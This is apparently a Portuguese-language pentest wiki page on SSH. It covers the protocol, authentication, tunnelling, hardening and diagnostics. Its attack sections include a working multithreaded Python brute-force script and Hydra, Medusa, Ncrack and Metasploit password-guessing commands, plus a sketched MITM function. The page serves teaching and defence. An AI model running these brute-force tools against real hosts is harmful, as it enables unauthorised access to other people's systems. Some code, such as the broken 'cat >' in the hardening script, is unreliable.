# SSH

## 📋 **Índice**

1. [Fundamentos do SSH](#-fundamentos-do-ssh)
2. [Arquitetura e Componentes](#-arquitetura-e-componentes)
3. [Mecanismos de Autenticação](#-mecanismos-de-autenticação)
4. [Funcionamento Detalhado](#-funcionamento-detalhado)
5. [Segurança e Vulnerabilidades](#-segurança-e-vulnerabilidades)
6. [Pentesting e SSH](#-pentesting-e-ssh)
7. [Configurações Avançadas](#-configurações-avançadas)
8. [Ferramentas e Diagnóstico](#-ferramentas-e-diagnóstico)

***

## 🔍 **Fundamentos do SSH**

### **O que é SSH?**

O **Secure Shell (SSH)** é um protocolo de rede criptográfico que fornece uma camada segura para comunicação entre computadores. Desenvolvido para substituir protocolos inseguros como Telnet, rlogin e FTP, o SSH implementa autenticação forte, criptografia de ponta a ponta e integridade de dados.

### **Contexto Histórico**

```yaml
Evolução do SSH:
  1995: Tatu Ylönen cria SSH-1 após ataque de sniffing na universidade
  1996: SSH-2 lançado com melhorias significativas
  2000: OpenSSH surge como fork open-source
  2006: RFC 4250-4256 padronizam SSH-2
  2020: SSH-1 descontinuado completamente
  2023: OpenSSH 9.5 introduz novos algoritmos pós-quânticos

Motivação:
  ❌ Telnet: Senhas em texto plano
  ❌ FTP: Dados não criptografados
  ❌ rlogin/rsh: Confiança baseada em IP
  ✅ SSH: Criptografia, autenticação forte e integridade
```

### **Benefícios do SSH**

| Benefício          | Descrição                                     | Impacto            |
| ------------------ | --------------------------------------------- | ------------------ |
| **Criptografia**   | Dados cifrados de ponta a ponta               | Confidencialidade  |
| **Autenticação**   | Múltiplos métodos (senha, chave, certificado) | Controle de acesso |
| **Integridade**    | MAC garante dados não alterados               | Confiabilidade     |
| **Túneis**         | Port forwarding, VPN                          | Flexibilidade      |
| **Universalidade** | Presente em todos Unix-like e Windows         | Disponibilidade    |

***

## 🏗️ **Arquitetura e Componentes**

### **Estrutura em Camadas**

```mermaid
graph TD
    subgraph "Camada de Transporte (RFC 4253)"
        A[Negociação de Algoritmos]
        B[Exchange de Chaves]
        C[Criptografia Simétrica]
    end
    
    subgraph "Camada de Autenticação (RFC 4252)"
        D[Autenticação por Senha]
        E[Autenticação por Chave Pública]
        F[Autenticação por GSSAPI/Kerberos]
    end
    
    subgraph "Camada de Conexão (RFC 4254)"
        G[Canais de Sessão]
        H[Port Forwarding]
        I[Shell, Exec, Subsystem]
    end
    
    A --> B --> C
    C --> D & E & F
    D & E & F --> G & H & I
```

### **Componentes do Protocolo**

```python
#!/usr/bin/env python3
# ssh_protocol_structure.py

import struct
import hashlib
import os

class SSHProtocol:
    """Representação conceitual da estrutura do protocolo SSH"""
    
    # Versões do protocolo
    SSH_PROTO_VERSION = "SSH-2.0"
    
    # Tipos de mensagens
    MSG_DISCONNECT = 1
    MSG_IGNORE = 2
    MSG_UNIMPLEMENTED = 3
    MSG_DEBUG = 4
    MSG_SERVICE_REQUEST = 5
    MSG_SERVICE_ACCEPT = 6
    
    # Tipos de pacotes
    class Packet:
        def __init__(self):
            self.packet_length = 0      # Comprimento do pacote
            self.padding_length = 0     # Comprimento do padding
            self.payload = b''          # Dados úteis
            self.mac = b''              # Message Authentication Code
        
        def build(self, payload, padding_size=4):
            """Construir pacote SSH"""
            import random
            import hmac
            
            # Adicionar padding aleatório
            padding_len = padding_size + random.randint(0, 255)
            padding = os.urandom(padding_len)
            
            # Calcular comprimento total
            packet_len = len(payload) + padding_len + 1
            
            # Construir pacote
            packet = struct.pack('!I', packet_len)  # Packet length
            packet += struct.pack('B', padding_len)  # Padding length
            packet += payload                        # Payload
            packet += padding                        # Padding
            
            return packet
    
    # Algoritmos de criptografia
    CIPHER_ALGORITHMS = {
        'aes128-ctr': {'key_len': 16, 'iv_len': 16},
        'aes256-ctr': {'key_len': 32, 'iv_len': 16},
        'chacha20-poly1305': {'key_len': 64, 'iv_len': 0}
    }
    
    # Algoritmos de MAC
    MAC_ALGORITHMS = {
        'hmac-sha2-256': {'key_len': 32, 'digest_len': 32},
        'hmac-sha2-512': {'key_len': 64, 'digest_len': 64}
    }
```

### **Arquivos de Configuração**

```yaml
Arquivos SSH Principais:

  /etc/ssh/sshd_config (Servidor):
    - Port 22
    - PermitRootLogin prohibit-password
    - PubkeyAuthentication yes
    - PasswordAuthentication no
    - MaxAuthTries 3
    - ClientAliveInterval 300
  
  /etc/ssh/ssh_config (Cliente):
    - Host *
      - ForwardAgent no
      - ForwardX11 no
      - ServerAliveInterval 60
  
  ~/.ssh/ (Diretório do usuário):
    - id_rsa: Chave privada
    - id_rsa.pub: Chave pública
    - authorized_keys: Chaves autorizadas
    - known_hosts: Fingerprints de hosts
    - config: Configuração por host
```

***

## 🔐 **Mecanismos de Autenticação**

### **1. Autenticação por Chave Pública**

```python
#!/usr/bin/env python3
# ssh_key_management.py

import os
import subprocess
import stat

class SSHKeyManagement:
    """Gerenciamento de chaves SSH"""
    
    @staticmethod
    def generate_key(key_type='rsa', bits=4096, comment=None):
        """
        Gerar par de chaves SSH
        Tipos: rsa, dsa, ecdsa, ed25519
        """
        key_file = f"id_{key_type}"
        comment = comment or f"{os.getlogin()}@{os.uname().nodename}"
        
        cmd = [
            'ssh-keygen',
            '-t', key_type,
            '-b', str(bits),
            '-C', comment,
            '-f', key_file,
            '-N', ''  # Sem senha
        ]
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        if result.returncode == 0:
            print(f"✅ Chaves geradas: {key_file} (privada) e {key_file}.pub (pública)")
            return key_file
        else:
            print(f"❌ Erro: {result.stderr}")
            return None
    
    @staticmethod
    def add_public_key_to_server(public_key_file, server, user):
        """Adicionar chave pública ao servidor"""
        try:
            with open(public_key_file, 'r') as f:
                pub_key = f.read().strip()
            
            cmd = f'ssh-copy-id -i {public_key_file} {user}@{server}'
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
            
            if result.returncode == 0:
                print(f"✅ Chave copiada para {user}@{server}")
                return True
            else:
                print(f"❌ Erro: {result.stderr}")
                return False
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    @staticmethod
    def protect_private_key(key_file):
        """Proteger chave privada com permissões corretas"""
        # Apenas o proprietário pode ler/escrever
        os.chmod(key_file, stat.S_IRUSR | stat.S_IWUSR)
        print(f"✅ Permissões corrigidas: {key_file}")
    
    @staticmethod
    def fingerprint(key_file):
        """Obter fingerprint da chave"""
        cmd = ['ssh-keygen', '-lf', key_file]
        result = subprocess.run(cmd, capture_output=True, text=True)
        return result.stdout.strip()

# Uso
key_mgr = SSHKeyManagement()
# key_mgr.generate_key('ed25519')
# key_mgr.add_public_key_to_server('id_ed25519.pub', '192.168.1.100', 'user')
```

### **2. Agent Forwarding**

```bash
# Iniciar ssh-agent
eval $(ssh-agent -s)

# Adicionar chave
ssh-add ~/.ssh/id_rsa
ssh-add -l  # Listar chaves carregadas

# Conectar com forwarding
ssh -A usuario@servidor

# Verificar chaves no servidor remoto
ssh usuario@servidor "ssh-add -l"
```

### **3. Autenticação Multifator (MFA)**

```bash
# /etc/ssh/sshd_config
# Google Authenticator
AuthenticationMethods publickey,password publickey,keyboard-interactive

# Instalar libpam-google-authenticator
apt-get install libpam-google-authenticator

# Configurar PAM
# /etc/pam.d/sshd
auth required pam_google_authenticator.so

# Usuário configura
google-authenticator
```

***

## ⚙️ **Funcionamento Detalhado**

### **Fluxo de Conexão SSH**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant S as Servidor

    Note over C,S: FASE 1: Identificação
    C->>S: TCP SYN (port 22)
    S->>C: TCP SYN-ACK
    C->>S: TCP ACK
    
    C->>S: SSH-2.0-OpenSSH_9.5
    S->>C: SSH-2.0-OpenSSH_9.5
    
    Note over C,S: FASE 2: Negociação
    C->>S: Key Exchange Init (algoritmos)
    S->>C: Key Exchange Init
    
    Note over C,S: FASE 3: Diffie-Hellman
    C->>S: DH Key Exchange
    S->>C: DH Key Exchange Reply
    C->>S: New Keys
    
    Note over C,S: FASE 4: Autenticação
    C->>S: Service Request (ssh-userauth)
    S->>C: Service Accept
    
    C->>S: Auth Request (publickey)
    S->>C: Auth Success
    
    Note over C,S: FASE 5: Sessão
    C->>S: Channel Request (shell)
    S->>C: Channel Open Confirmation
    
    C-->>S: Dados criptografados
    S-->>C: Respostas criptografadas
```

### **Implementação de Cliente SSH Básico**

```python
#!/usr/bin/env python3
# simple_ssh_client.py - Cliente SSH simplificado

import paramiko
import sys
import os

class SimpleSSHClient:
    def __init__(self, hostname, username, password=None, key_file=None):
        self.hostname = hostname
        self.username = username
        self.password = password
        self.key_file = key_file
        self.client = paramiko.SSHClient()
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    def connect(self):
        """Estabelecer conexão SSH"""
        try:
            if self.key_file:
                # Autenticação por chave
                key = paramiko.RSAKey.from_private_key_file(self.key_file)
                self.client.connect(
                    self.hostname,
                    username=self.username,
                    pkey=key,
                    timeout=10
                )
            else:
                # Autenticação por senha
                self.client.connect(
                    self.hostname,
                    username=self.username,
                    password=self.password,
                    timeout=10
                )
            
            print(f"✅ Conectado a {self.hostname} como {self.username}")
            return True
        except Exception as e:
            print(f"❌ Erro de conexão: {e}")
            return False
    
    def execute_command(self, command):
        """Executar comando no servidor remoto"""
        if not self.client:
            return None
        
        try:
            stdin, stdout, stderr = self.client.exec_command(command)
            output = stdout.read().decode()
            error = stderr.read().decode()
            
            return {
                'output': output,
                'error': error,
                'exit_code': stdout.channel.recv_exit_status()
            }
        except Exception as e:
            return {'error': str(e)}
    
    def sftp_get(self, remote_path, local_path):
        """Baixar arquivo via SFTP"""
        try:
            sftp = self.client.open_sftp()
            sftp.get(remote_path, local_path)
            sftp.close()
            print(f"✅ Arquivo baixado: {remote_path} -> {local_path}")
            return True
        except Exception as e:
            print(f"❌ Erro no download: {e}")
            return False
    
    def sftp_put(self, local_path, remote_path):
        """Upload de arquivo via SFTP"""
        try:
            sftp = self.client.open_sftp()
            sftp.put(local_path, remote_path)
            sftp.close()
            print(f"✅ Arquivo enviado: {local_path} -> {remote_path}")
            return True
        except Exception as e:
            print(f"❌ Erro no upload: {e}")
            return False
    
    def close(self):
        """Fechar conexão"""
        if self.client:
            self.client.close()
            print("🔌 Conexão fechada")

# Uso
if __name__ == "__main__":
    client = SimpleSSHClient('192.168.1.100', 'user', password='senha')
    if client.connect():
        result = client.execute_command('ls -la')
        print(f"Comando executado:\n{result['output']}")
        client.close()
```

### **Tunelamento (Port Forwarding)**

```python
# Port forwarding com Paramiko
def ssh_tunnel(ssh_client, local_port, remote_host, remote_port):
    """
    Criar túnel SSH para encaminhamento de porta
    """
    transport = ssh_client.get_transport()
    transport.request_port_forward('', local_port)
    
    # Thread para aceitar conexões
    import threading
    
    def handle_connection():
        while True:
            chan = transport.accept(100)
            if chan is None:
                continue
            
            # Encaminhar para destino
            sock = socket.socket()
            sock.connect((remote_host, remote_port))
            
            # Bidirectional forwarding
            threading.Thread(target=forward, args=(chan, sock)).start()
            threading.Thread(target=forward, args=(sock, chan)).start()
    
    threading.Thread(target=handle_connection).start()
    print(f"🔒 Túnel SSH: localhost:{local_port} -> {remote_host}:{remote_port}")
```

***

## 🔒 **Segurança e Vulnerabilidades**

### **Principais Ameaças ao SSH**

```mermaid
graph TD
    A[Ameaças SSH] --> B[Brute Force]
    A --> C[Man-in-the-Middle]
    A --> D[Weak Algorithms]
    A --> E[Key Compromise]
    A --> F[SSH Tunneling Abuse]
    
    B --> B1[Password Spraying]
    B --> B2[Credential Stuffing]
    
    C --> C1[Host Key Spoofing]
    C --> C2[Session Hijacking]
    
    D --> D1[Weak Ciphers]
    D --> D2[Outdated Protocols]
    
    E --> E1[Private Key Exposure]
    E --> E2[Agent Hijacking]
    
    F --> F1[Internal Network Access]
    F --> F2[Data Exfiltration]
```

### **Ataque 1: Brute Force**

```python
#!/usr/bin/env python3
# ssh_brute_force_demo.py - Demonstração educacional

import paramiko
import sys
import threading
import queue
import time

class SSHBruteForce:
    def __init__(self, hostname, username, wordlist):
        self.hostname = hostname
        self.username = username
        self.wordlist = wordlist
        self.q = queue.Queue()
        self.found = False
        self.lock = threading.Lock()
    
    def try_password(self, password):
        """Tentar autenticação com senha"""
        if self.found:
            return False
        
        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(
                self.hostname,
                username=self.username,
                password=password,
                timeout=3,
                allow_agent=False,
                look_for_keys=False
            )
            client.close()
            
            with self.lock:
                self.found = True
                print(f"\n✅ SENHA ENCONTRADA: {password}")
            return True
        except paramiko.AuthenticationException:
            return False
        except:
            return False
    
    def worker(self):
        """Thread worker para tentativas"""
        while not self.found:
            try:
                password = self.q.get(timeout=1)
                if self.try_password(password):
                    break
                print(f"  Tentando: {password}")
            except queue.Empty:
                break
    
    def attack(self, threads=10):
        """Executar ataque de brute force"""
        # Carregar wordlist
        with open(self.wordlist, 'r') as f:
            passwords = [line.strip() for line in f]
        
        for pwd in passwords:
            self.q.put(pwd)
        
        print(f"🎯 Alvo: {self.hostname} - Usuário: {self.username}")
        print(f"📊 Tentativas: {len(passwords)} senhas")
        print("🚀 Iniciando ataque...\n")
        
        # Criar threads
        thread_list = []
        for _ in range(threads):
            t = threading.Thread(target=self.worker)
            t.start()
            thread_list.append(t)
        
        # Aguardar conclusão
        for t in thread_list:
            t.join()
        
        if not self.found:
            print("\n❌ Nenhuma senha válida encontrada")

# Nota: Este código é APENAS para testes autorizados
```

### **Ataque 2: Man-in-the-Middle (MITM)**

```python
# Simulação de ataque MITM SSH
def ssh_mitm_attack(listen_port=22, forward_host='192.168.1.100', forward_port=22):
    """
    Interceptar conexões SSH e encaminhar
    Usa: ssh-mitm, evil-sshd
    """
    from scapy.all import *
    
    # Redirecionar tráfego via ARP spoofing
    # ... (código ARP spoofing)
    
    # Servidor SSH falso
    import fake_sshd
    server = fake_sshd.SSHServer(listen_port, forward_host, forward_port)
    server.start()
    
    print("⚠️  SSH MITM ativo - interceptando credenciais")
```

### **Medidas de Proteção**

```bash
# /etc/ssh/sshd_config - Configuração segura

# 1. Autenticação
PermitRootLogin no                    # Desabilitar root
PasswordAuthentication no              # Usar apenas chaves
PubkeyAuthentication yes
MaxAuthTries 3                         # Limite de tentativas
MaxSessions 10                         # Limite de sessões

# 2. Criptografia forte
Ciphers aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512,hmac-sha2-256
KexAlgorithms curve25519-sha256,diffie-hellman-group-exchange-sha256

# 3. Proteções
LoginGraceTime 30                      # Tempo para autenticar
ClientAliveInterval 300                # Keepalive
ClientAliveCountMax 2                  # Máximo de keepalive
MaxStartups 10:30:100                  # Prevenção de DoS

# 4. Logging
SyslogFacility AUTH
LogLevel VERBOSE

# 5. TCP Wrappers (opcional)
DenyUsers root
AllowUsers user1 user2
DenyGroups nogroup
```

### **Fail2ban para SSH**

```bash
# Instalar fail2ban
apt-get install fail2ban

# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600

# Monitorar
fail2ban-client status sshd
tail -f /var/log/fail2ban.log
```

***

## 🎯 **Pentesting e SSH**

### **Metodologia de Teste**

#### **Fase 1: Enumeração**

```bash
# Scan de porta SSH
nmap -p 22 -sV --script ssh-* 192.168.1.0/24
masscan -p22 192.168.1.0/24 --rate 1000

# Banner grabbing
nc -nv 192.168.1.100 22
openssl s_client -connect 192.168.1.100:22 -starttls ssh

# Fingerprint do servidor
ssh-keyscan 192.168.1.100
```

#### **Fase 2: Detecção de Algoritmos**

```bash
# Testar algoritmos suportados
nmap --script ssh2-enum-algos -p 22 192.168.1.100

# Usar ssh-audit
ssh-audit 192.168.1.100

# Verificar algoritmos fracos
ssh -Q cipher  # Listar ciphers suportados
ssh -Q mac      # Listar MACs
ssh -Q kex      # Listar KEX
```

#### **Fase 3: Testes de Autenticação**

```python
#!/usr/bin/env python3
# ssh_audit.py

import paramiko
import socket
import sys

class SSHAudit:
    def __init__(self, host, port=22):
        self.host = host
        self.port = port
        self.results = {}
    
    def check_algorithms(self):
        """Verificar algoritmos suportados"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.host, self.port))
            transport = paramiko.Transport(sock)
            transport.start_client()
            
            kex = transport.get_security_options().kex
            ciphers = transport.get_security_options().ciphers
            macs = transport.get_security_options().digests
            
            self.results['algorithms'] = {
                'kex': kex,
                'ciphers': ciphers,
                'macs': macs
            }
            
            transport.close()
        except Exception as e:
            self.results['error'] = str(e)
    
    def check_weak_credentials(self, username, wordlist):
        """Verificar credenciais fracas"""
        weak_found = []
        
        try:
            with open(wordlist, 'r') as f:
                passwords = [line.strip() for line in f]
            
            for password in passwords:
                try:
                    client = paramiko.SSHClient()
                    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                    client.connect(
                        self.host,
                        port=self.port,
                        username=username,
                        password=password,
                        timeout=2,
                        allow_agent=False,
                        look_for_keys=False
                    )
                    weak_found.append(password)
                    client.close()
                except:
                    continue
        except Exception as e:
            self.results['error'] = str(e)
        
        return weak_found
    
    def generate_report(self):
        """Gerar relatório"""
        report = f"""
        📊 Relatório de Auditoria SSH
        ================================
        Host: {self.host}:{self.port}
        
        Algoritmos:
          KEX: {self.results.get('algorithms', {}).get('kex', 'N/A')}
          Ciphers: {self.results.get('algorithms', {}).get('ciphers', 'N/A')}
          MACs: {self.results.get('algorithms', {}).get('macs', 'N/A')}
        """
        
        return report

# Uso
audit = SSHAudit('192.168.1.100')
audit.check_algorithms()
print(audit.generate_report())
```

### **Ferramentas de Pentest SSH**

```bash
# Hydra - Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
hydra -L users.txt -P passwords.txt ssh://192.168.1.100 -t 4

# Medusa
medusa -h 192.168.1.100 -u root -P wordlist.txt -M ssh

# Ncrack
ncrack -p 22 -U users.txt -P passwords.txt 192.168.1.100

# Metasploit
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.0/24
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

# SSH-Audit (Python)
git clone https://github.com/jtesta/ssh-audit.git
python3 ssh-audit.py 192.168.1.100

# ScanSSH
scanssh -n 192.168.1.0/24 -p 22
```

***

## 🛠️ **Configurações Avançadas**

### **SSH como VPN (Tunelamento)**

```bash
# Túnel SOCKS5
ssh -D 1080 usuario@servidor

# Configurar browser para usar proxy SOCKS5 localhost:1080

# Túnel VPN (TUN)
ssh -w 0:0 usuario@servidor
# Configurar interfaces tun0

# Redirecionamento de tráfego
ssh -R 8080:localhost:80 usuario@servidor  # Remote forwarding
ssh -L 8080:localhost:80 usuario@servidor  # Local forwarding
```

### **SSH Jump Host (ProxyJump)**

```bash
# Configuração ~/.ssh/config
Host bastion
    HostName bastion.empresa.com
    User jump_user
    IdentityFile ~/.ssh/jump_key

Host internal-server
    HostName 10.0.0.50
    User app_user
    ProxyJump bastion
    IdentityFile ~/.ssh/app_key

# Uso
ssh internal-server

# Comando direto
ssh -J jump_user@bastion.empresa.com app_user@10.0.0.50
```

### **SSH com Certificados**

```bash
# Gerar CA SSH
ssh-keygen -t ed25519 -f ca_key -C "SSH CA"

# Assinar chaves de usuário
ssh-keygen -s ca_key -I user@empresa.com -n user1,user2 -V +52w user_key.pub

# Configurar servidor para aceitar certificados
# /etc/ssh/sshd_config
TrustedUserCAKeys /etc/ssh/ca_key.pub

# Usar certificado
ssh -i user_key-cert.pub user@servidor
```

### **SSH Hardening Completo**

```bash
#!/bin/bash
# ssh_hardening.sh

echo "🔒 Aplicando hardening SSH..."

# Backup da configuração
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

# Nova configuração
cat > /etc/ssh/sshd_config 
# Portas
Port 22
Port 2222  # Porta alternativa para emergência

# Autenticação
PermitRootLogin no
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

# Chaves
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key

# Criptografia
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256

# Proteções
MaxAuthTries 3
MaxSessions 10
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 2
MaxStartups 10:30:100

# Logging
SyslogFacility AUTH
LogLevel VERBOSE

# Forwarding
AllowTcpForwarding no
X11Forwarding no
AllowAgentForwarding no
PermitTunnel no

# Outros
UseDNS no
PrintMotd no
Banner /etc/ssh/ssh_banner

# Reiniciar serviço
systemctl restart sshd
echo "✅ Hardening SSH concluído"
```

***

## 🔍 **Ferramentas e Diagnóstico**

### **Comandos Essenciais**

```bash
# Conexões SSH ativas
ss -tnp | grep :22
netstat -tnpa | grep :22
lsof -i :22

# Logs SSH
tail -f /var/log/auth.log | grep sshd
journalctl -u ssh -f

# Verificar chaves
ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub
ssh-keygen -lf ~/.ssh/id_rsa.pub

# Testar conexão
ssh -vvv usuario@host  # Debug detalhado
ssh -T git@github.com   # Teste de autenticação

# Transferência de arquivos
scp -P 22 arquivo.txt usuario@host:/home/usuario/
rsync -avz -e ssh /local/pasta/ usuario@host:/remoto/pasta/
```

### **Script de Diagnóstico SSH**

```python
#!/usr/bin/env python3
# ssh_diagnostics.py

import paramiko
import socket
import time
import sys

class SSHDiagnostics:
    def __init__(self, hostname, port=22):
        self.hostname = hostname
        self.port = port
        self.results = {}
    
    def test_connection(self):
        """Testar conectividade básica"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            result = sock.connect_ex((self.hostname, self.port))
            sock.close()
            
            if result == 0:
                print(f"✅ Porta {self.port} aberta")
                return True
            else:
                print(f"❌ Porta {self.port} fechada ou filtrada")
                return False
        except Exception as e:
            print(f"❌ Erro: {e}")
            return False
    
    def get_banner(self):
        """Capturar banner SSH"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.hostname, self.port))
            banner = sock.recv(1024).decode().strip()
            sock.close()
            
            print(f"📋 Banner: {banner}")
            return banner
        except:
            return None
    
    def test_algorithms(self):
        """Testar algoritmos suportados"""
        try:
            transport = paramiko.Transport((self.hostname, self.port))
            transport.start_client()
            
            security = transport.get_security_options()
            
            print(f"🔐 Algoritmos suportados:")
            print(f"  KEX: {security.kex[:3]}...")
            print(f"  Ciphers: {security.ciphers[:3]}...")
            print(f"  MACs: {security.digests[:3]}...")
            
            transport.close()
            return security
        except Exception as e:
            print(f"❌ Erro: {e}")
            return None
    
    def diagnose(self):
        """Executar diagnóstico completo"""
        print(f"🔍 Diagnosticando SSH: {self.hostname}:{self.port}")
        print("=" * 50)
        
        if self.test_connection():
            self.get_banner()
            self.test_algorithms()
        
        print("\n📊 Recomendações:")
        print("  - Use autenticação por chave")
        print("  - Desative autenticação por senha")
        print("  - Atualize para OpenSSH 8.9+")
        print("  - Habilite logging verbose")

# Uso
if __name__ == "__main__":
    diag = SSHDiagnostics(sys.argv[1] if len(sys.argv) > 1 else 'localhost')
    diag.diagnose()
```

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
SSH é o padrão de fato para acesso remoto seguro:
  ✅ Criptografia forte de ponta a ponta
  ✅ Múltiplos métodos de autenticação
  ✅ Capacidades de tunelamento e VPN
  ✅ Extensível com subsistemas (SFTP, SCP)

Desafios de segurança:
  ❌ Configurações padrão inseguras
  ❌ Vulnerável a brute force
  ❌ Chaves podem ser comprometidas
  ❌ Forwarding pode ser abusado
```

### **Boas Práticas**

1. **Configuração do Servidor**
   * Desabilitar autenticação por senha
   * Usar apenas chaves ed25519 ou RSA 4096
   * Implementar fail2ban
   * Utilizar portas não padrão (opcional)
   * Limitar tentativas de login
2. **Gerenciamento de Chaves**
   * Proteger chaves privadas com senha
   * Usar ssh-agent com timeout
   * Rotacionar chaves periodicamente
   * Revogar chaves quando necessário
3. **Monitoramento**
   * Logging centralizado
   * Alertas para múltiplas falhas
   * Auditoria de sessões
   * Detecção de comportamentos anômalos
4. **Para Pentesters**
   * Testar configurações padrão
   * Verificar algoritmos fracos
   * Enumerar usuários via SSH
   * Testar forwarding e tunneling

### **Alternativas e Futuro**

```yaml
Alternativas ao SSH:
  - Mosh (Mobile Shell) - Melhor para conexões instáveis
  - WireGuard + SSH - VPN segura + SSH
  - Teleport - SSH moderno com auditoria
  - Apache Guacamole - Acesso web

Tendências:
  - SSH com FIDO2/U2F (chaves de hardware)
  - Algoritmos pós-quânticos
  - Integração com Zero Trust
  - Sessões gravadas e auditadas
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/ssh.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
